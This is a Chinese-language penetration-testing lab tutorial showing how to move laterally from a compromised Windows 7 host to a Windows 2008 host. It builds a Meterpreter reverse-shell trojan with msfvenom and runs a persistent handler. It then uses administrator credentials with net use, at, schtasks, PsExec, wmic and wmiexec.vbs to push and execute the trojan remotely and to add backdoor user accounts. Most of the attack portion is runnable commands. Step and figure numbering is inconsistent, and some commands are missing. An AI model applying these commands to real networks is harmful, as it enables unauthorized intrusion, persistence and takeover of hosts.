【横向移动】内网渗透横向移动获取另台主机的shell

目录

 

一、前言

二、实验环境:

三、实验目的:

四、实验操作:

  实验准备:

计划任务:

 At计划任务:

  schtasks计划任务:

Psexec横向移动:

Windows:

Kali msf:

wmic横向移动

wmiexec.vbs脚本横向移动:

1、半交互模式

2、单命令执行


一、前言

在攻击者获取到某台内网机器的控制权限之后,进一步会考虑如何在内网进行横向移动,以及攻击域控服务器,本文总结了突破边界后进一步的攻击技巧,拿到内网机器的密码或Hash进行横向移动的方式

二、实验环境:

攻击(攻击者)主机:         

Kali2020.2    虚拟机      

Nat               

192.168.0.174                             

目标(受害者)主机1:        

Windows2007虚拟机          

Nat    

vmnet1       

192.168.254.134                               

192.168.10.9                                      

目标(受害者)主机2:

Windows2008 虚拟机

Nat    

vmnet1

192.168.254.133                               

192.168.10.12                                    

三、实验目的:

通过windows2007的shell,横向移动到windows2008

四、实验操作:

  实验准备:

  实验开始之前,先使用msf反弹win7的shell,结果如【下图】所示:

【命令】
 

msfconsole
use exploit/multi/handler
set lhost 192.168.254.132
set payload windows/x64/meterpreter/reverse_tcp
exploit

【横向移动】内网渗透横向移动获取另台主机的shell_第1张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第2张图片

使用msfvenom生成一个反弹shell的木马,并上传到win7上面(这里是直接复制到win7上面,实际中是通过webshell上传的):

//生成反弹shell的木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.254.132 lport=4444 -f exe -o mm.exe

【横向移动】内网渗透横向移动获取另台主机的shell_第3张图片

把mm.exe木马上传到win7,并点击运行木马:

计划任务:

 At计划任务:

注:适用于2008以前的机器,2008以后的机器不推荐使用

需要开启Task Scheduler服务 经典流程:

【步骤一】:切换cdm shell,并修改cdm页面的编码格式,结果如【图1】所示:

【命令】
 

shell  //进入win7 cmd的shell
chcp 65001 //切换cmd的页面编码格式为utf-8

【横向移动】内网渗透横向移动获取另台主机的shell_第4张图片

图1

【步骤二】:进行一个连接到windows2008目标机,查看连接是否成功,结果如【图2】所示:

【命令】

//建立一个win7与win8的连接:(需要win8的账号密码)
net use \\192.168.10.12 /user:administrator Xye123456
net use  //查询连接情况

【横向移动】内网渗透横向移动获取另台主机的shell_第5张图片

图2

【分析】由上图可以看出,连接成功建立

【步骤三】:通过输出命令,创建一个创建用户的脚本1.bat,并查看内容(通过这步也可以创建其他命令),结果如【图3】所示:

【命令】

echo net user zs 123.com /add > 1.bat  //输出一个创建用户的脚本1.bat

【横向移动】内网渗透横向移动获取另台主机的shell_第6张图片

type 1.bat //查看脚本内容

【横向移动】内网渗透横向移动获取另台主机的shell_第7张图片

图3

【分析】成功输出内容到1.bat

【步骤四】:把windows2003本地文件1.bat脚本复制到windows2008目标服务器上【复制本地文件到目标服务器的share共享目录(一般是放入admin$这个共享地方(也就是c:\winnt\system32\或者是c:\windows\system32\),或者c$,d$)】,查看windows2008的现在时间,并结果如【图4】所示:

【命令】

copy 1.bat \\192.168.10.12\c$  \\复制脚本到win8\C:盘下
net time \\192.168.10.12 \\查询win8当前系统时间

【横向移动】内网渗透横向移动获取另台主机的shell_第8张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第9张图片

图4

【分析】成功复制1.bat脚本到windows2008

【步骤五】:添加at任务执行,时间13:46执行1.bat文件,查看at任务是否创建成功,结果如【图5】所示

【命令】

at \\192.168.10.12 13:46 C:\1.bat  //添加at计划任务,时间13:46执行1.bat文件
at \\192.168.10.12 //查看at任务是否创建成功

【横向移动】内网渗透横向移动获取另台主机的shell_第10张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第11张图片

图5

【分析】at任务创建成功,并成功执行1.bat脚本里面的内容

注意:

1.时间尽量使用 24 小时制,这样就避免麻烦,不用区分上午下午;

2.如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径

  schtasks计划任务:

【步骤六】:创建一个schtasks计划任务,结果如【图6】所示:

【命令】

echo net user ls 456.com /add > 2.bat
copy 2.bat \\192.168.10.12\c$
net time \\192.168.10.12
schtasks /create /tn foobar /tr c:\2.bat /sc once /st 14:00  /s 192.168.10.12 /U administrator /P Xye123456  

【横向移动】内网渗透横向移动获取另台主机的shell_第12张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第13张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第14张图片

图6

【分析】

Psexec横向移动:

Windows:

PsExec.exe下载地址,永不失效  提取码:0xel

【步骤七】:上传PsExec.exe程序到windows7上(一般上传到temp目录下,直接上传到桌面太明显),结果如【图26】所示

【命令】

upload /home/lbb/桌面/PsExec.exe

【横向移动】内网渗透横向移动获取另台主机的shell_第15张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第16张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第17张图片

图7

【步骤八】:进入cmd shell,并设置页面编码格式,避免乱码,结果如【图8】所示:

【命令】
 

shell
chcp 65001

【横向移动】内网渗透横向移动获取另台主机的shell_第18张图片

图8

【步骤九】:查看连接是否在,如果不存在,就创建一个连接目标主机的连接,结果如【图9】所示:

【命令】

net use
net use \\192.168.10.12 /user:administrator Xye123456

 

图9

【步骤十】:运行PsExec.exe,直接运行会弹框,输入/accepteula这个参数就可以绕过,结果如【图10】所示:

【命令】

psexec.exe \\ip /accepteula -u username -p password program.exe

【横向移动】内网渗透横向移动获取另台主机的shell_第19张图片

图10

【分析】出现以上原因可能是,MSF中handler程序监听收到一个会话就不会继续监听,正常的payload只会监听一次,需要设置持续监听

【步骤十一】:退出msf,回到kali,建立一个持续监听,解决以上的问题,结果如【图11】所示:

【命令】

exit -y
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.254.132
set ExitOnSession false
exploit -j

通过设置ExitOnSession为false来让connection保持连接(即使一个连接退出,仍然保持listening状态)。

当设置ExitOnSession时,exploit命令必须使用:

-j:作为job开始运行

-z:不立即进行session交换--也即是自动后台运行。

【横向移动】内网渗透横向移动获取另台主机的shell_第20张图片

图11

【步骤十二】:查看监听情况,结果如【图2】所示

【命令】

netstat -anpt

【横向移动】内网渗透横向移动获取另台主机的shell_第21张图片

运行mm.exe木马程序:

【横向移动】内网渗透横向移动获取另台主机的shell_第22张图片

查看监听情况:

netstat -anpt

【横向移动】内网渗透横向移动获取另台主机的shell_第23张图片

图12

【分析】通过以上验证,说明端口处于监听状态;

【步骤十三】:查看会话情况,会话1(sessions 1)的shell是windows2007的shell,结果如【图13】所示:

【命令】

sessions     //询会话
Sessions 1   //启用会话1

【横向移动】内网渗透横向移动获取另台主机的shell_第24张图片

shell 
chcp 65001

【横向移动】内网渗透横向移动获取另台主机的shell_第25张图片
 

net use
net use \\192.168.10.12 /user:administrator Xye123456
net use

【横向移动】内网渗透横向移动获取另台主机的shell_第26张图片

图13

【步骤十四】:执行以下命令,横向移动到window2008的shell,结果如【图14】所示:【命令】


-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
psexec.exe \\192.168.10.12 /accepteula -u administrator -p Xye123456 -c mm.exe -d

【横向移动】内网渗透横向移动获取另台主机的shell_第27张图片

background //返回并挂起一个会话,不会退出

【横向移动】内网渗透横向移动获取另台主机的shell_第28张图片

图4

【步骤五】:切换到sessions 2,查看是否是windows2008的shell,结果如【图5】所示

【命令】

sessions 2
Sysinfo
Shell
Chcp 65001
ipconfig

【横向移动】内网渗透横向移动获取另台主机的shell_第29张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第30张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第31张图片

图5

【分析】通过上面的操作可以看出,成功丛windows2007横向移动到windows2008

 

Kali msf:

【步骤六】:先使用msf反弹win7的shell,结果如【图6】所示:

【命令】

【横向移动】内网渗透横向移动获取另台主机的shell_第32张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第33张图片

图6

【分析】由上图可知,成功反弹win7的shell

【步骤七】:创建一个socks代理服务,结果如【图7】所示

【命令】

【横向移动】内网渗透横向移动获取另台主机的shell_第34张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第35张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第36张图片

另开一个窗口B,设置代理的配置文件内容:

【横向移动】内网渗透横向移动获取另台主机的shell_第37张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第38张图片回到msf,启动socks4代理:

【横向移动】内网渗透横向移动获取另台主机的shell_第39张图片

图7

【分析】代理服务启动成功

【步骤八】:进入win7 cmd shel中,创建一个win7和win8的连接,结果如【图8】所示

【横向移动】内网渗透横向移动获取另台主机的shell_第40张图片

图8

【步骤九】:再开一个窗口C,使用代理进行连接,并进行横向移动的操作,结果如【图9】所示:

【横向移动】内网渗透横向移动获取另台主机的shell_第41张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第42张图片

图9

【步骤十】:,结果如【图10】所示:

【横向移动】内网渗透横向移动获取另台主机的shell_第43张图片

图10

【分析】通过sysinfo查看会话2,可知成功横向移动到win8

wmic横向移动:

(注:msf反弹shell,上面已经详细介绍,下面就是接着上面的shell环境做的实验)

【步骤一】使用会话1,会话1是与win7的会话,并进入win7的cmd shell,并查看win7与win8的连接是否还在,结果如【图1】所示:

【横向移动】内网渗透横向移动获取另台主机的shell_第44张图片

图1

【分析】连接还在

【步骤二】:通过连接查看win8的/c$目录下的文件,结果如【图2】所示:

【命令】

dir \\192.168.10.12\c$   //查看远程win8 \C:盘下的文件
wmic /node:192.168.10.12 /user:administrator /password:Xye123456 process call create c:\windows\temp\mm.exe

【横向移动】内网渗透横向移动获取另台主机的shell_第45张图片

图2

【分析】这里有上传过的木马,可以直接使用Wmic执行木马mm.exe,获得shell,上图可知,已经建立了一个新会话

【步骤三】:exit退出win7的shell,使用会话2,连接win8的shell,结果如【图3】所示:

【命令】

【横向移动】内网渗透横向移动获取另台主机的shell_第46张图片

图3

【分析】通过上面图片可知,已经获得win8的shell

注: 如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题 如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

 

wmiexec.vbs脚本横向移动:

wmiexec.vbs传送门 提取码:dvbq

1、半交互模式

【步骤四】:上传vbs脚本到win7,结果如【图4】所示

【命令】

upload /home/lbb/桌面/wmiexec.vbs

【横向移动】内网渗透横向移动获取另台主机的shell_第47张图片

图4

【步骤五】:进入win7的cmd shell,并再进行查看vbs脚本是否真的上传,结果如【图5】所示:

【横向移动】内网渗透横向移动获取另台主机的shell_第48张图片

图5

【步骤六】:执行vbs脚本,获得win8的shell,结果如【图6】所示

【命令】

cscript.exe //nologo wmiexec.vbs /shell 192.168.10.12 administrator Xye123

【横向移动】内网渗透横向移动获取另台主机的shell_第49张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第50张图片

图6

【分析】通过ipconfig命令可以看出,已经获得win8的shell

 

cscript.exe wmiexec.vbs /cmd 192.168.10.12 administrator Xye123456 "c:/mm.exe"

2、单命令执行

【步骤七】:先关掉前面获得shell的会话,执行木马获得新的会话,结果如【图7】所示:

【命令】

【横向移动】内网渗透横向移动获取另台主机的shell_第51张图片

【横向移动】内网渗透横向移动获取另台主机的shell_第52张图片【横向移动】内网渗透横向移动获取另台主机的shell_第53张图片

图7

【步骤八】:切换到win7的cmd shell,结果如【图8】所示:

【横向移动】内网渗透横向移动获取另台主机的shell_第54张图片

图8

【步骤九】:执行代码,结果如【图9】所示:

【命令】

cscript.exe wmiexec.vbs /cmd 192.168.10.12 administrator Xye123456 "c:/mm.exe"

【横向移动】内网渗透横向移动获取另台主机的shell_第55张图片

图9

【分析】返回结果的可知,成功创建一个新的会话

【步骤十】:ctrl +z退出win7的cmd shell,并退出当前会话,将当前会话挂入后台,结果如【图10】所示:

【命令】

background

图10

【步骤十一】:查看会话,反弹了一个win8的会话8,结果如【图11】所示

【横向移动】内网渗透横向移动获取另台主机的shell_第56张图片

图11

【分析】由上图可知,建立了一个新的会话,并且这个会话是win8的

【步骤十二】:切换到win8的会话8,结果如【图12】所示:

【横向移动】内网渗透横向移动获取另台主机的shell_第57张图片

图12

【分析】通过sysinfo 的命令查看会话系统信息,可知,当前shell是win8

你可能感兴趣的:(网络安全,后渗透,linux,windows)